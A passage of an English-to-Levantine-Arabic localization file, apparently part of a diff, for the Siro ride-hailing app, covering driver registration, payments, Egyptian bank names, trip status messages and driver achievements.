فيك", - "is ON for this month": "مفعّلة هالشهر", - "tips\\nTotal is": "الإكراميات\\nالإجمالي هو", - "to arrive you.": "ليوصل لعندك.", - "to receive ride requests even when the app is in the background.": "عشان تستلم طلبات الرحلات حتى لو التطبيق شغّال بالخلفية.", - "to ride with": "لترحل مع", - "with license plate": "لوحة أرقام", - "\\$pricePoint": "\\$pricePoint", - "\\$title \\$subtitle": "\\$title \\$subtitle", - ")[1]}": ")[1]}", - "*Siro APP CODE*": "*كود تطبيق سيرو*", - "*Siro DRIVER CODE*": "*كود سائق سيرو*", - "--": "--", - ". I am at least 18 years of age.": ". عمري 18 سنة أو أكثر.", - ". The app will connect you with a nearby driver.": ". التطبيق رح يربطك بسائق قريب منك.", - "1. Describe Your Issue": "1. صف مشكلتك", - "1. Select Ride": "1. اختر المشوار", - "10 and get 4% discount": "10 واحصل على خصم 4%", - "100 and get 11% discount": "100 واحصل على خصم 11%", - "1999": "1999", - "2. Attach Recorded Audio": "2. أرفق التسجيل الصوتي", - "2. Attach Recorded Audio (Optional)": "2. أرفق التسجيل الصوتي (اختياري)", - "2. Describe Your Issue": "2. اكتب وصف للمشكلة", - "20 and get 6% discount": "20 واحصل على خصم 6%", - "27\\\\": "27\\\\", - "3. Attach Recorded Audio (Optional)": "3. أرفق التسجيل الصوتي (اختياري)", - "3. Review Details & Response": "3. راجع التفاصيل والرد", - "300 LE": "300 ل.م", - "3000 LE": "3000 ل.م", - "4. Review Details & Response": "4. راجع التفاصيل والرد", - "40 and get 8% discount": "40 واحصل على خصم 8%", - "5 digit": "5 أرقام", - "3 digit": "3 أرقام", - "Enter the 3-digit code": "أدخل الكود المكون من ٣ أرقام", - "Already have an account? Login": "هل لديك حساب بالفعل؟ تسجيل الدخول", - "Don't have an account? Register": "ليس لديك حساب؟ تسجيل", - "<< BACK": "<< رجوع", - "A new version of the app is available. Please update to the latest version.": "في نسخة جديدة من التطبيق. تفضل حدّث لآخر إصدار.", - "A promotion record for this driver already exists for today.": "في سجل ترويجي لهالسائق من قبل بهاليوم.", - "A trip with a prior reservation, allowing you to choose the best captains and cars.": "رحلة محجوزة مسبقاً، بتقدر تختار فيها أحسن السواقين والسيارات.", - "AI Page": "صفحة الذكاء الاصطناعي", - "AI failed to extract info": "الذكاء الاصطناعي ما قدر يستخرج المعلومات", - "ATTIJARIWAFA BANK Egypt": "بنك التيجاري الوفا مصر", - "About Us": "من نحن", - "Abu Dhabi Commercial Bank – Egypt": "بنك أبوظبي التجاري – مصر", - "Abu Dhabi Islamic Bank – Egypt": "بنك أبوظبي الإسلامي – مصر", - "Accept": "قبول", - "Accept Order": "اقبل الطلب", - "Accept Ride": "اقبل الرحلة", - "Accepted Ride": "الرحلة انقبلت", - "Accepted your order": "قبل طلبك", - "Account": "الحساب", - "Account Updated": "تم تحديث الحساب", - "Active Duration": "مدة النشاط", - "Active Duration:": "مدة النشاط:", - "Active Ride": "الرحلة النشطة", - "Active Users": "المستخدمين النشطين", - "Active ride in progress. Leaving might stop tracking. Exit?": "في مشوار شغال هلق. الخروج ممكن يوقف التتبع. بدك تطلع؟", - "Activities": "النشاطات", - "Add Card": "إضافة بطاقة", - "Add Credit Card": "إضافة بطاقة ائتمان", - "Add Home": "ضيف المنزل", - "Add Location": "ضيف موقع", - "Add Location 1": "ضيف موقع 1", - "Add Location 2": "ضيف موقع 2", - "Add Location 3": "ضيف موقع 3", - "Add Location 4": "ضيف موقع 4", - "Add Payment Method": "إضافة طريقة دفع", - "Add Phone": "إضافة هاتف", - "Add Promo": "ضيف كود ترويجي", - "Add Question": "إضافة سؤال", - "Add SOS Phone": "ضيف رقم طوارئ", - "Add Stops": "إضافة محطات", - "Add Work": "ضيف الشغل", - "Add a Stop": "ضيف محطة", - "Add a comment (optional)": "إضافة تعليق (اختياري)", - "Add bank Account": "إضافة حساب بنكي", - "Add criminal page": "إضافة صحيفة الحالة الجنائية", - "Add funds using our secure methods": "ضيف رصيد بطرقنا الآمنة", - "Add new car": "إضافة سيارة جديدة", - "Add to Passenger Wallet": "إضافة لمحفة الراكب", - "Add wallet phone you use": "إضافة رقم المحفظة اللي عم تستخدمه", - "Address": "العنوان", - "Address:": "العنوان:", - "Admin DashBoard": "لوحة تحكم المسؤول", - "Affordable for Everyone": "أسعار مناسبة للكل", - "After this period": "بعد هالفترة", - "Afternoon Promo": "عرض الظهيرة", - "Afternoon Promo Rides": "رحلات عرض الظهيرة", - "Age": "العمر", - "Age is": "العمر هو", - "Agricultural Bank of Egypt": "البنك الزراعي المصري", - "Alert": "تنبيه", - "Alerts": "التنبيهات", - "Alex Bank Egypt": "بنك الإسكندرية مصر", - "Allow Location Access": "اسمح بالوصول للموقع", - "Allow overlay permission": "اسمح بصلاحية العرض فوق التطبيقات", - "Allowing location access will help us display orders near you. Please enable it now.": "السماح بالوصول للموقع رح يساعدنا نعرض الطلبات القريبة منك. تفضل فعّله هلق.", - "Amount": "المبلغ", - "An OTP has been sent to your number.": "تم إرسال رمز التحقق لرقمك.", - "An application error occurred during upload.": "صار خطأ بالتطبيق وقت الرفع.", - "An application error occurred.": "صار خطأ بالتطبيق.", - "An error occurred": "صار خطأ", - "An error occurred during contact sync: \\$e": "صار خطأ بمزامنة جهات الاتصال: \\$e", - "An error occurred during the payment process.": "صار خطأ بعملية الدفع.", - "An error occurred while loading contacts: \\$e": "صار خطأ وقت تحميل جهات الاتصال: \\$e", - "An error occurred while picking a contact": "صار خطأ وقت اختيار جهة اتصال", - "An error occurred while picking contacts:": "صار خطأ وقت اختيار جهات الاتصال:", - "An error occurred while saving driver data": "صار خطأ وقت حفظ بيانات السائق", - "An unexpected error occurred. Please try again.": "صار خطأ غير متوقع. جرب مرة تانية.", - "An unexpected error occurred:": "صار خطأ غير متوقع:", - "An unknown server error occurred": "صار خطأ غير معروف بالسيرفر.", - "Any comments about the passenger?": "في أي تعليق على الراكب؟", - "App Dark Mode": "الوضع الليلي للتطبيق", - "App Preferences": "تفضيلات التطبيق", - "App with Passenger": "التطبيق مع الراكب", - "Applied": "تم التطبيق", - "Apply": "تطبيق", - "Apply Order": "تطبيق الطلب", - "Apply Promo Code": "طبّق كود الخصم", - "Approaching your area. Should be there in 3 minutes.": "عم يقرب من منطقتك. رح يوصل خلال 3 دقايق.", - "Approve Driver Documents": "الموافقة على وثائق السائق", - "Arab African International Bank": "العربي الأفريقي الدولي", - "Arab Bank PLC": "البنك العربي", - "Arab Banking Corporation - Egypt S.A.E": "الشركة العربية المصرفية - مصر", - "Arab International Bank": "البنك العربي الدولي", - "Arab Investment Bank": "بنك الاستثمار العربي", - "Are You sure to ride to": "متأكد إنك بدك تروح لـ", - "Are you Sure to LogOut?": "متأكد إنك بدك تطلع من الحساب؟", - "Are you sure to cancel?": "متأكد إنك بدك تلغي؟", - "Are you sure to delete recorded files": "متأكد إنك بدك تحذف الملفات المسجلة؟", - "Are you sure to delete this location?": "متأكد إنك بدك تحذف هالموقع؟", - "Are you sure to delete your account?": "متأكد إنك بدك تحذف حسابك؟", - "Are you sure to exit ride ?": "متأكد إنك بدك تخرج من الرحلة؟", - "Are you sure to exit ride?": "متأكد إنك بدك تخرج من الرحلة؟", - "Are you sure to make this car as default": "متأكد إنك بدك تخلي هالسيارة الافتراضية؟", - "Are you sure you want to cancel and collect the fee?": "متأكد إنك بدك تلغي وتستلم الرسوم؟", - "Are you sure you want to cancel this trip?": "متأكد إنك بدك تلغي هالرحلة؟", - "Are you sure you want to logout?": "متأكد إنك بدك تطلع من الحساب؟", - "Are you sure?": "متأكد؟", - "Are you sure? This action cannot be undone.": "متأكد؟ هالعملية ما فيها رجعة.", - "Are you want to change": "بدك تغير", - "Are you want to go this site": "بدك تروح لهالموقع؟", - "Are you want to go to this site": "بدك تروح لهالموقع؟", - "Are you want to wait drivers to accept your order": "بدك تستنى السواقين يقبلوا طلبك؟", - "Arrival time": "وقت الوصول", - "Associate Degree": "شهادة الدبلوم المشارك", - "Attach this audio file?": "ترفق هالملف الصوتي؟", - "Attention": "انتباه", - "Audio file not attached": "ما في ملف صوتي مرفق", - "Audio uploaded successfully.": "تم رفع الملف الصوتي بنجاح.", - "Authentication failed": "فشل المصادقة", - "Available Rides": "الرحلات المتاحة", - "Available for rides": "متاح للرحلات", - "Average of Hours of": "متوسط ساعات", - "Awaiting response...": "عم نستنى الرد...", - "Awfar Car": "سيارة أوفر", - "Mon": "الاثنين", - "Tue": "الثلاثاء", - "Wed": "الأربعاء", - "Thu": "الخميس", - "Fri": "الجمعة", - "Sat": "السبت", - "Sun": "الأحد", - "The price must be over than": "السعر لازم يكون أكثر من", - "Driver Level": "مستوى السائق", - "Next Level:": "المستوى التالي:", - "Points": "نقاط", - "Maximum Level Reached!": "وصلت لأعلى مستوى!", - "Basic features": "ميزات أساسية", - "Standard support": "دعم قياسي", - "Priority medium": "أولوية متوسطة", - "Silver badge": "وسام فضي", - "-1% commission": "خصم 1% من العمولة", - "High priority": "أولوية عالية", - "Gold badge": "وسام ذهبي", - "-2% commission": "خصم 2% من العمولة", - "VIP first": "أولوية VIP", - "Diamond badge": "وسام ألماسي", - "-5% commission": "خصم 5% من العمولة", - "Priority support": "دعم فني ذو أولوية", - "Daily Goal": "الهدف اليومي", - "Edit": "تعديل", - "Set Goal": "تحديد هدف", - "Goal Achieved!": "تم تحقيق الهدف!", - "Remaining:": "المتبقي:", - "Set Daily Goal": "تحديد الهدف اليومي", - "How much do you want to earn today?": "كم تريد أن تربح اليوم؟", - "Save": "حفظ", - "Cancel": "إلغاء", - "Today Overview": "نظرة عامة على اليوم", - "Online Duration": "مدة التواجد", - "Refused": "مرفوضة", - "Score": "التقييم", - "Max Speed": "أقصى سرعة", - "Hard Brakes": "الفرامل المفاجئة", - "Driving Behavior": "سلوك القيادة", - "Excellent": "ممتاز", - "Good": "جيد", - "Needs Improvement": "يحتاج تحسين", - "Achievements": "الإنجازات", - "Day Streak": "سلسلة الأيام", - "Rating": "التقييم", - "Referrals": "الإحالات", - "First Trip": "أول رحلة", - "Complete your first trip": "أكمل أول رحلة لك", - "Road Warrior": "محارب الطريق", - "Complete 50 trips": "أكمل 50 رحلة", - "Century Rider": "سائق المئة", - "Complete 100 trips": "أكمل 100 رحلة", - "Road Legend": "أسطورة الطريق", - "Complete 500 trips": "أكمل 500 رحلة", - "Five Star Driver": "سائق 5 نجوم", - "Maintain 5.0 rating": "حافظ على تقييم 5.0", - "Weekly Streak": "سلسلة أسبوعية", - "Work 7 consecutive days": "اعمل 7 أيام متتالية", - "Monthly Streak": "سلسلة شهرية", - "Work 30 consecutive days": "اعمل 30 يوم متتالي", - "Social Butterfly": "الفراشة الاجتماعية", - "Refer 5 drivers": "ادعُ 5 سائقين", - "Weekly Earnings": "الأرباح الأسبوعية", - "Monthly Report": "التقرير الشهري", - "Best Day": "أفضل يوم", - "No data yet": "ما في بيانات لسا", - "h": "ساعة", - "Trip": "مشوار", - "Ride": "المشوار", - "Rides": "الرحلات", - "Hours": "ساعات", - "Total Trips": "إجمالي الرحلات", - "Total Earnings": "إجمالي الأرباح", - "Back to other sign-in options": "الرجوع لخيارات تسجيل الدخول التانية", - "Bahrain": "البحرين", - "Balance": "الرصيد", - "Balance limit exceeded": "تم تجاوز حد الرصيد", - "Balance not enough": "الرصيد ما يكفي", - "Balance:": "الرصيد:", - "Bank Account": "حساب بنكي", - "Bank account added successfully": "تمت إضافة الحساب البنكي بنجاح", - "Banque Du Caire": "بنك القاهرة", - "Banque Misr": "بنك مصر", - "Be Slowly": "خفف السرعة", - "Be sure for take accurate images please": "تأكد إنك تلتقط صور واضحة من فضلك", - "Be sure for take accurate images please\\nYou have": "تأكد إنك تلتقط صور واضحة من فضلك\\nعندك", - "Be sure to use it quickly! This code expires at": "تأكد تستخدمه بسرعة! هالكود بينتهي بـ", - "Because we are near, you have the flexibility to choose the ride that works best for you.": "لأننا قريبين، عندك حرية تختار الرحلة اللي أنسب لك.", - "Before we start, please review our terms.": "قبل ما نبدأ، تفضل راجع شروطنا.", - "Behavior Page": "صفحة السلوك", - "Behavior Score": "درجة السلوك", - "Best choice for a comfortable car with a flexible route and stop points. This airport offers visa entry at this price.": "أحسن خيار لسيارة مريحة بطريق مرن ومحطات توقف. هالمطار بيوفر تأشيرة دخول بهالسعر.", - "Best choice for cities": "أحسن خيار للمدن", - "Best choice for comfort car and flexible route and stops point": "أحسن خيار لسيارة مريحة وطريق مرن ومحطات توقف", - "Biometric Authentication": "المصادقة البيومترية", - "Birth Date": "تاريخ الميلاد", - "Birth year must be 4 digits": "سنة الميلاد لازم تكون 4 أرقام", - "Birthdate Mismatch": "عدم تطابق تاريخ الميلاد", - "Birthdate on ID front and back does not match.": "تاريخ الميلاد بالهوية من الأمام والخلف ما بيتطابق.", - "Blom Bank": "بنك بلوم", - "Bonus gift": "هدية بونص", - "BookingFee": "رسوم الحجز", - "Bottom Bar Example": "مثال الشريط السفلي", - "But you have a negative salary of": "بس عندك راتب سلبي بقيمة", - "CODE": "الكود", - "Calculating...": "عم نحسب...", - "Calling non-Syrian numbers is not supported": "الاتصال بالأرقام غير السورية غير مدعوم", - "Call": "اتصل", - "Call Connected": "تم فتح الاتصال", - "Call Driver": "اتصل بالسائق", - "Call End": "انتهت المكالمة", - "Call Income": "مكالمة واردة", - "Call Income from Driver": "مكالمة واردة من السائق", - "Call Income from Passenger": "مكالمة واردة من الراكب", - "Call Left": "مكالمة فائتة", - "Call Page": "صفحة الاتصال", - "Call Passenger": "اتصل بالراكب", - "Call Support": "اتصل بالدعم", - "Calling": "عم نتصل بـ", - "Camera Access Denied.": "تم رفض الوصول للكاميرا.", - "Camera not initialized yet": "الكاميرا ما تجهزت بعد", - "Camera not initilaized yet": "الكاميرا ما تجهزت بعد", - "Can I cancel my ride?": "مقدر ألغي رحلتي؟", - "Can we know why you want to cancel Ride ?": "ممكن نعرف ليش بدك تلغي الرحلة؟", - "Cancel & Collect Fee": "إلغاء واستلام الرسوم", - "Cancel Ride": "إلغاء الرحلة", - "Cancel Search": "إلغاء البحث", - "Cancel Trip": "إلغاء الرحلة", - "Cancel Trip from driver": "إلغاء الرحلة من السائق", - "Cancel Trip?": "إلغاء الرحلة؟", - "Canceled": "ملغية", - "Canceled Orders": "الطلبات الملغاة", - "Cannot apply further discounts.": "ما في تطبيق خصومات إضافية.", - "Captain": "الكابتن", - "Capture an Image of Your Criminal Record": "التقط صورة لصحيفة الحالة الجنائية", - "Capture an Image of Your Driver License": "التقط صورة لرخصة السائق", - "Capture an Image of Your Driver’s License": "التقط صورة لرخصة السائق", - "Capture an Image of Your ID Document Back": "التقط صورة للوجه الخلفي للهوية", - "Capture an Image of Your ID Document front": "التقط صورة للوجه الأمامي للهوية", - "Capture an Image of Your car license back": "التقط صورة للوجه الخلفي لرخصة السيارة", - "Capture an Image of Your car license front": "التقط صورة للوجه الأمامي لرخصة السيارة", - "Car": "سيارة", - "Car Color": "لون السيارة", - "Car Color (Hex)": "لون السيارة (كود)", - "Car Color (Name)": "لون السيارة (اسم)", - "Car Color:": "لون السيارة:", - "Car Details": "تفاصيل السيارة", - "Car Expire": "انتهاء صلاحية السيارة", - "Car Kind": "نوع السيارة", - "Car License Card": "رخصة السيارة", - "Car Make (e.g., Toyota)": "ماركة السيارة (مثال: تويوتا)", - "Car Make:": "ماركة السيارة:", - "Car Model (e.g., Corolla)": "موديل السيارة (مثال: كورولا)", - "Car Model:": "موديل السيارة:", - "Car Plate": "لوحة السيارة", - "Car Plate Number": "رقم لوحة السيارة", - "Car Plate is": "لوحة السيارة هي", - "Car Plate:": "لوحة السيارة:", - "Car Registration (Back)": "رخصة السيارة (خلفي)", - "Car Registration (Front)": "رخصة السيارة (أمامي)", - "Car Type": "نوع السيارة", - "Card Number": "رقم البطاقة", - "CardID": "رقم البطاقة", - "Cash": "كاش", - "Cash Out": "سحب الرصيد", - "Central Bank Of Egypt": "البنك المركزي المصري", - "Change Country": "تغيير البلد", - "Change Home location?": "تغيير موقع المنزل؟", - "Change Ride": "تغيير الرحلة", - "Change Route": "تغيير الطريق", - "Change Work location?": "تغيير موقع العمل؟", - "Change the app language": "تغيير لغة التطبيق", - "Charge your Account": "اشحن حسابك", - "Charge your account.": "اشحن حسابك.", - "Chassis": "الشاسيه", - "Check back later for new offers!": "رجع لاحقاً لعروض جديدة!", - "Checking for updates...": "عم نتحقق من التحديثات...", - "Choose Language": "اختر اللغة", - "Choose a contact option": "اختر خيار جهة اتصال", - "Choose between those Type Cars": "اختر بين هالأنواع من السيارات", - "Choose from Map": "اختر من الخريطة", - "Choose from contact": "اختر من جهات الاتصال", - "Choose the trip option that perfectly suits your needs and preferences.": "اختر خيار الرحلة اللي بيناسب احتياجاتك وتفضيلاتك تماماً.", - "Choose who this order is for": "اختر هالطلب لمين", - "Choose your ride": "اختر رحلتك", - "Citi Bank N.A. Egypt": "سيتي بنك مصر", - "City": "المدينة", - "Claim your 20 LE gift for inviting": "استلم هديتك 20 ل.م عشان الدعوة", - "Click here point": "اضغط هون", - "Click here to Show it in Map": "اضغط هون لعرضها بالخريطة", - "Close": "إغلاق", - "Closest & Cheapest": "الأقرب والأرخص", - "Closest to You": "الأقرب إليك", - "Code": "الكود", - "Code approved": "تمت الموافقة على الكود", - "Code not approved": "ما انقبل الكود", - "Collect Cash": "استلم كاش", - "Collect Payment": "استلم الدفع", - "Color": "اللون", - "Color is": "اللون هو", - "Comfort": "كومفورت", - "Comfort choice": "خيار مريح", - "Comfort ❄️": "كومفورت ❄️", - "Comfort: For cars newer than 2017 with air conditioning.": "كومفورت: للسيارات موديل 2017 وما فوق مع تكييف.", - "Coming Soon": "قريباً", - "Commercial International Bank - Egypt S.A.E": "البنك التجاري الدولي - مصر", - "Communication": "التواصل", - "Compensation Received": "تم استلام التعويض", - "Complaint": "شكوى", - "Complaint cannot be filed for this ride. It may not have been completed or started.": "ما في تقديم شكوى لهالرحلة. ممكن ما تكون خلصت أو ما بلشت.", - "Complaint data saved successfully": "تم حفظ بيانات الشكوى بنجاح", - "Complete Payment": "إتمام الدفع", - "Completed": "مكتملة", - "Confirm": "تأكيد", - "Confirm & Find a Ride": "تأكيد والبحث عن رحلة", - "Confirm Attachment": "تأكيد المرفق", - "Confirm Cancellation": "تأكيد الإلغاء", - "Confirm Payment": "تأكيد الدفع", - "Confirm Pick-up Location": "تأكيد موقع الالتقاط", - "Confirm Selection": "تأكيد الاختيار", - "Confirm Trip": "تأكيد الرحلة", - "Confirm your Email": "تأكيد بريدك الإلكتروني", - "Confirmation": "تأكيد", - "Connected": "متصل", - "Connecting...": "عم يتم الاتصال...", - "Contact Options": "خيارات التواصل", - "Contact Support": "تواصل مع الدعم", - "Contact Support to Recharge": "تواصل مع الدعم للشحن", - "Contact Us": "تواصل معنا", - "Contact permission is required to pick a contact": "مطلوب صلاحية جهات الاتصال عشان تختار جهة اتصال", - "Contact permission is required to pick contacts": "مطلوب صلاحية جهات الاتصال عشان تختار جهات اتصال", - "Contact us for any questions on your order.": "تواصل معنا لأي سؤال عن طلبك.", - "Contacts Loaded": "تم تحميل جهات الاتصال", - "Contacts sync completed successfully!": "تمت مزامنة جهات الاتصال بنجاح!", - "Continue": "متابعة", - "Continue Ride": "متابعة الرحلة", - "Continue straight": "كمل على خط مستقيم", - "Copy": "نسخ", - "Copy Code": "نسخ الكود", - "Copy this Promo to use it in your Ride!": "انسخ هالعرض عشان تستخدمه برحلتك!", - "Cost": "التكلفة", - "Cost Duration": "مدة التكلفة", - "Cost Of Trip IS": "تكلفة الرحلة هي", - "Could not load trip details.": "ما انقدرنا نحمّل تفاصيل الرحلة.", - "Counts of Hours on days": "عدد الساعات بالأيام", - "Counts of budgets on days": "عدد الميزانيات بالأيام", - "Counts of rides on days": "عدد الرحلات بالأيام", - "Create Account": "إنشاء حساب", - "Create Account with Email": "إنشاء حساب بالبريد الإلكتروني", - "Create Driver Account": "إنشاء حساب سائق", - "Create Wallet to receive your money": "أنشئ محفظة عشان تستلم فلوسك", - "Create new Account": "إنشاء حساب جديد", - "Credit": "رصيد", - "Credit Agricole Egypt S.A.E": "كريدي أجريكول مصر", - "Credit card is": "بطاقة الائتمان هي", - "Criminal Document": "الوثيقة الجنائية", - "Criminal Document Required": "مطلوب وثيقة جنائية", - "Criminal Record": "صحيفة الحالة الجنائية", - "Cropper": "أداة القص", - "Current Balance": "الرصيد الحالي", - "Current Location": "الموقع الحالي", - "Customer MSISDN doesn’t have customer wallet": "رقم هاتف العميل ما فيه محفظة عميل", - "Customer not found": "ما لقينا العميل", - "Customer phone is not active": "هاتف العميل مش شغال", - "Decline": "رفض", - "DISCOUNT": "خصم", - "DRIVER123": "DRIVER123", - "Date": "التاريخ", - "Date and Time Picker": "اختيار التاريخ والوقت", - "Date of Birth": "تاريخ الميلاد", - "Date of Birth is": "تاريخ الميلاد هو", - "Date of Birth:": "تاريخ الميلاد:", - "Days": "الأيام", - "Dear ,\\n🚀 I have just started an exciting trip and I would like to share the details of my journey and my current location with you in real-time! Please download the Siro app. It will allow you to view my trip details and my latest location.\\n👉 Download link:\\nAndroid [https://play.google.com/store/apps/details?id=com.mobileapp.store.ride]\\niOS [https://getapp.cc/app/6458734951]\\nI look forward to keeping you close during my adventure!\\nSiro ,": "عزيزي/عزيزتي،\\n🚀 بلشت رحلة جديدة وحابب/حابّة أشاركك التفاصيل وموقعي الحالي معك مباشرة! تفضل حمّل تطبيق سيرو... إلخ", - "Debit": "خصم", - "Delete": "حذف", - "Delete My Account": "احذف حسابي", - "Delete Permanently": "حذف نهائي", - "Deleted": "محذوف", - "Delivery": "توصيل", - "Destination": "الوجهة", - "Destination selected": "تم اختيار الوجهة", - "Detect Your Face": "اكتشاف وجهك", - "Device Change Detected": "تم اكتشاف تغيير الجهاز", - "Diesel": "ديزل", - "Directions": "الاتجاهات", - "Displacement": "الإزاحة", - "Distance": "المسافة", - "Distance To Passenger is": "المسافة للراكب هي", - "Distance from Passenger to destination is": "المسافة من الراكب للوجهة هي", - "Distance is": "المسافة هي", - "Distance of the Ride is": "مسافة الرحلة هي", - "Do you have a disease for a long time?": "عندك مرض مزمن من زمان؟", - "Do you have an invitation code from another driver?": "عندك كود دعوة من سائق تاني؟", - "Do you want to change Home location": "بدك تغير موقع المنزل؟", - "Do you want to change Work location": "بدك تغير موقع العمل؟", - "Do you want to collect your earnings?": "بدك تجمع أرباحك؟", - "Do you want to pay Tips for this Driver": "بدك تدفع إكرامية لهالسائق؟", - "Docs": "المستندات", - "Doctoral Degree": "دكتوراه", - "Document Number:": "رقم الوثيقة:", - "Documents check": "فحص المستندات", - "Done": "تم", - "Don’t forget your personal belongings.": "متنساش حاجاتك الشخصية.", - "Download the Siro Driver app now and earn rewards!": "حمّل تطبيق سائق سيرو هلق واكسب مكافآت!", - "Download the Siro app now and enjoy your ride!": "حمّل تطبيق سيرو هلق واستمتع برحلتك!", - "Download the app now:": "حمّل التطبيق هلق:", - "Drawing route on map...": "عم نرسم الطريق على الخريطة...", - "Driver": "السائق", - "Driver Accepted Request": "السائق قبل الطلب", - "Driver Accepted the Ride for You": "السائق قبل الرحلة لك", - "Driver Agreement": "اتفاقية السائق", - "Driver Applied the Ride for You": "السائق قدم على الرحلة لك", - "Driver Balance": "رصيد السائق", - "Driver Behavior": "سلوك السائق", - "Driver Cancel Your Trip": "السائق ألغى رحلتك", - "Driver Cancelled Your Trip": "السائق ألغى رحلتك", - "Driver Car Plate": "لوحة سيارة السائق", - "Driver Finish Trip": "السائق أنهى الرحلة", - "Driver Is Going To Passenger": "السائق بيوصل للراكب", - "Driver License (Back)": "رخصة السائق (خلفي)", - "Driver License (Front)": "رخصة السائق (أمامي)", - "Driver List": "قائمة السائقين", - "Driver Login": "تسجيل دخول السائق", - "Driver Message": "رسالة السائق", - "Driver Name": "اسم السائق", - "Driver Name:": "اسم السائق:", - "Driver Phone:": "رقم السائق:", - "Driver Portal": "بوابة السائق", - "Driver Registration": "تسجيل السائق", - "Driver Registration & Requirements": "تسجيل السائق والمتطلبات", - "Driver Wallet": "محفظة السائق", - "Driver already has 2 trips within the specified period.": "عند السائق رحلتين بهالفترة المحددة من قبل.", - "Driver is on the way": "السائق عم ييجي", - "Driver is waiting": "السائق عم يستنى", - "Driver is waiting at pickup.": "السائق عم يستنى بمكان الالتقاط.", - "Driver joined the channel": "السائق دخل القناة", - "Driver left the channel": "السائق خرج من القناة", - "Driver phone": "رقم السائق", - "Drivers": "السواقين", - "Drivers License Class": "فئة رخصة السائق", - "Drivers License Class:": "فئة رخصة السائق:", - "Drivers received orders": "السواقين استلموا طلبات", - "Duration": "المدة", - "Duration To Passenger is": "الوقت للراكب هو", - "Duration is": "المدة هي", - "Duration of Trip is": "مدة الرحلة هي", - "Duration of the Ride is": "مدة الرحلة هي", - "E-mail validé.\\\\": "تم التحقق من البريد الإلكتروني.\\\\", - "Earnings": "الأرباح", - "Earnings & Distance": "الأرباح والمسافة", - "Edit Profile": "تعديل الملف الشخصي", - "Edit Your data": "عدّل بياناتك", - "Education": "التعليم", - "Egypt": "مصر", - "Egypt Post": "البريد المصري", - "Egyptian Arab Land Bank": "البنك العقاري المصري العربي", - "Egyptian Gulf Bank": "البنك المصري الخليجي", - "Electric": "كهربائي", - "Email": "البريد الإلكتروني", - "Email Us": "راسلنا", - "Email Wrong": "البريد خاطئ", - "Email is": "البريد هو", - "Email must be correct.": "البريد لازم يكون صحيح.", - "Email you inserted is Wrong.": "البريد اللي أدخلته غلط.", - "Emergency Contact": "جهة اتصال طوارئ", - "Emergency Number": "رقم الطوارئ", - "Emirates National Bank of Dubai": "بنك الإمارات الوطني دبي", - "Employment Type": "نوع التوظيف", - "Enable Location": "تفعيل الموقع", - "Enable Location Access": "تفعيل الوصول للموقع", - "Enable Location Permission": "تفعيل صلاحية الموقع", - "End": "إنهاء", - "End Ride": "أنهي الرحلة", - "End Trip": "أنهي الرحلة", - "Enjoy a safe and comfortable ride.": "استمتع برحلة آمنة ومريحة.", - "Enjoy competitive prices across all trip options, making travel accessible.": "استمتع بأسعار منافسة بكل خيارات الرحلات، عشان السفر يكون بمتناول إيدك.", - "Ensure the passenger is in the car.": "تأكد إن الراكب دخل السيارة.", - "Enter Amount Paid": "أدخل المبلغ المدفوع", - "Enter Health Insurance Provider": "أدخل مزود التأمين الصحي", - "Enter Your First Name": "أدخل اسمك الأول", - "Enter a valid email": "أدخل بريد إلكتروني صحيح", - "Enter a valid year": "أدخل سنة صحيحة", - "Enter phone": "أدخل الهاتف", - "Enter promo code": "أدخل كود الخصم", - "Enter promo code here": "أدخل كود الخصم هون", - "Enter the promo code and get": "أدخل كود الخصم واحصل على", - "Enter your City": "أدخل مدينتك", - "Enter your Note": "أدخل ملاحظتك", - "Enter your Password": "أدخل كلمة المرور", - "Enter your Question here": "أدخل سؤالك هون", - "Enter your code below to apply the discount.": "أدخل كودك تحت عشان تطبق الخصم.", - "Enter your complaint here": "أدخل شكواك هون", - "Enter your complaint here...": "أدخل شكواك هون...", - "Enter your email": "أدخل بريدك الإلكتروني", - "Enter your email address": "أدخل عنوان بريدك الإلكتروني", - "Enter your feedback here": "أدخل تعليقك هون", - "Enter your first name": "أدخل اسمك الأول", - "Enter your last name": "أدخل اسم عائلتك", - "Enter your password": "أدخل كلمة المرور", - "Enter your phone number": "أدخل رقم هاتفك", - "Enter your promo code": "أدخل كود الخصم بتاعك", - "Enter your wallet number": "أدخل رقم محفظتك", - "Error": "صار خطأ", - "Evening": "المسا", - "Exclusive offers and discounts always with the Siro app": "عروض وخصومات حصرية دايماً مع تطبيق سيرو", - "Exclusive offers and discounts always with the Sefer app": "عروض وخصومات حصرية دايماً مع تطبيق سفر", - "Exit": "خروج", - "Exit Ride?": "تخرج من الرحلة؟", - "Expiration Date": "تاريخ الانتهاء", - "Expired Driver’s License": "رخصة السائق منتهية", - "Expired License": "رخصة منتهية", - "Expiry Date": "تاريخ الانتهاء", - "Expiry Date:": "تاريخ الانتهاء:", - "Export Development Bank of Egypt": "بنك التصدير والاستيراد المصري", - "Face Detection Result": "نتيجة كشف الوجه", - "Failed to connect to the server. Please try again.": "ما انقدرنا نتصل بالخادم. جرب مرة تانية.", - "Failed to fetch rides. Please try again.": "ما انقدرنا نجيب الرحلات. جرب مرة تانية.", - "Failed to finish ride. Please check internet.": "ما انقدرنا ننهي الرحلة. تفضل تحقق من الإنترنت.", - "Failed to initiate payment. Please try again.": "فشل بدء الدفع. جرب مرة تانية.", - "Failed to load profile data.": "ما انقدرنا نحمّل بيانات الملف الشخصي.", - "Failed to save driver data": "ما انقدرنا نحفظ بيانات السائق", - "Failed to send invite": "فشل إرسال الدعوة", - "Failed to upload audio file.": "فشل رفع الملف الصوتي.", - "Faisal Islamic Bank of Egypt": "بنك فيصل الإسلامي المصري", - "Fastest Complaint Response": "أسرع رد على الشكاوى", - "Favorite Places": "الأماكن المفضلة", - "Fee is": "الرسوم هي", - "Feed Back": "التعليق", - "Feedback": "التعليق", - "Feedback data saved successfully": "تم حفظ بيانات التعليق بنجاح", - "Female": "أنثى", - "Find answers to common questions": "لاقي أجوبة للأسئلة الشائعة", - "Finish & Submit": "إنهاء وإرسال", - "Finish Monitor": "إنهاء المراقبة", - "Finished": "انتهت", - "First Abu Dhabi Bank": "بنك أبوظبي الأول", - "First Name": "الاسم الأول", - "First name": "الاسم الأول", - "Fixed Price": "سعر ثابت", - "Flag-down fee": "رسوم بداية المشوار", - "For Drivers": "للسواقين", - "For Egypt": "لمصر", - "For Siro and Delivery trips, the price is calculated dynamically. For Comfort trips, the price is based on time and distance": "لرحلات سيرو والتوصيل، السعر بيحسب ديناميكياً. لرحلات الكومفورت، السعر بيعتمد على الوقت والمسافة.", - "For Siro and scooter trips, the price is 